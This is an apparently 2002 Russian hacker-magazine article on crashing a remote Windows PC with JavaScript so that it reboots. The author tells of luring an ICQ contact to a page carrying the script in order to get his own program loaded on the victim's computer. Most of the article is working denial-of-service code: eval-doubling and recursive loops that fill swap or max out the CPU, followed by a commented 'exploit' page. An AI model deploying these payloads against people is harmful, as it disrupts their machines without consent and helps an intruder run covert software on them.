Иногда бывает нужным перезагрузить удаленный
компьютер. Основной причиной часто является потребность внесения некоторых изменений, требующих перезагрузки.
Хорошо если есть время подождать, а если человек сидящий в чате/IRC/ICQ(нужное подчеркнуть) еще долго не собирается покидать просторы инета? Недавно мне пришлось столкнутся с такой проблемой, которую я решил по своему…

Моя идея была такова: прорекламировать
какой-то сайт, чтобы он на него зашел… и завис 🙂
Компьютер в смысле… Первое было легко, так как я знал его номер аси, а со вторым пришлось немного попарится…

Фейсконтроль

Событие «завис" должно было произойти из-за
какого-либо JavaScript кода. Так как настроение было хорошее, пришлось все делать самому.
Сначала я попробовал вставить в HTML примерно такой код:

<script>
while(1){};
</script>

На что мой ослик стал громко матерится, мол меня грузят и если ты хочешь, то можешь остановить все это нахрен. Такой результат меня не удивил, но и не порадовал…
Я написал код, который воспринимал IE воспринимал
нормально:

<script>
a=’A’;
while(1){a=a+a};
</script>

Я то знал что это добром не кончится, для него 🙂

Упражнения

Ну что же, фейсконтроль мы прошли. Усложним теперь немного наши операции. 

<script>
a=’A’;
while(1)a=eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’)+eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’);
</script>

Эта конструкция достаточно сложная для обработки
компьютером, тем более в таких масштабах. Результатом ее
работы является заполнение свопа до не
реальных размеров. Индикатор роботы винчестера светится как гирлянды на новый год. Все это приводит к
нестабильностям в работе компьютера, выход — перезагрузка :). Немного
поэкспериментировав я понял, что если переменная a, которая ровна ‘A’ будет числом, то нагрузка пойдет в основном не на своп, а на процессор. Давай немного изменим наш HTML:

<script>
a=0;
while(1)a=eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’)+eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’);
</script>

Крохотное изменение (вместо a=’A’ мы написали a=0), и процессор буквально за секунду получает 100% нагрузки. Все это можно смело использовать и даже совместить:

<script>
a=0;b=’A’;
while(1){
a=eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’)+eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’);
b=eval(‘b=eval(\’b=b+b\’)+eval(\’b=b+b\’)’)+eval(‘b=eval(\’b=b+b\’)+eval(\’b=b+b\’)’);
}
</script>

Но как полагается любой код надо оптимизировать. Теперь надо избавится от той длиннющей строки:

<script>
a=0;b=’A’;
function f(l,m){l++;if(l!=20)f(l,m);m=eval(‘m+m’);}
while(1){
f(1,a);
f(1,b);
}
</script>

Тут я использую рекурсию с глубиной 20, но этот код практически равен предыдущему
(по результатам роботы). Мой JavaScript убийца был
размещен в инете, жертва получила ссылку и полезла туда. Код сработал прекрасно, его тачка ребутилась, а моя прога удачно загрузилась, на его компе 🙂

Характеристика

Все тесты происходили на AMD Duron, 956 MGz, 128MB, ось — Windows XP. И были получены примерно такие результаты:

1. Процессор: загружается на 100% за 1 сек. 73 мсек.

2. Файл подкачки: 

306 MB -5 сек. 
415 MB -30 сек.
451 MB -1 мин.

Для экспериментов я написал такой эксплоит, с комментариями:

//если а — строка, то нагружается своп;
//если а — число, то загружается процессор.
a=’A’;
//Способ #1:
function b(l,a){
l++;//увеличиваем индекс глубины
if(l!=20)b(l,a);//если глубина меньше 20, запускаем себя еще раз
a=eval(‘a+a’);//считаем… (для загрузки проца/свопа)
}
function c(){
while(1)b(1,a);//пока 1=1(то есть всегда), вызываем рекурсивную функцию
}
//Конец первого способа #1.

//Способ #2:
function d(){
//щитаем по другому… (для загрузки проца/свопа)
while(1)a=eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’)+eval(‘a=eval(\’a=a+a\’)+eval(\’a=a+a\’)’);
}
//Конец второго способа #2.

//Функция смены цели — процессор или своп
function f(){
if(a==’A’){
a=0;
o1.value=’Processor Overflow #1′;
o2.value=’Processor Overflow #2′;
} else {
a=’A’;
o1.value=’Swap Overflow #1′;
o2.value=’Swap Overflow #2′;
}
}
//Ее конец

//Демонстрация того, что ослик не позволяет себя зациклить 🙂
function err(){while(1){};}
//Но мы то знаем…

</script>

<body>
<center><b>2002(c) Digital Scream: Processor/Swap overflow</b><br><br>
<input value=»Change Processor/Swap» type=button onclick=f()><br>
<input name=o1 value=»Swap Overflow #1″ type=button onclick=d()>
<input name=o2 value=»Swap Overflow #2″ type=button onclick=d()>
<br><hr><br>This code does not work because IE have protection:
<input name=err value=»Overflow» type=button onclick=err()>
<br><hr>

IE вообще глючная штука. Покопайся в архивах ХАКЕРА и ты найдешь еще много подобной инфы про масдаевского ослика.

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…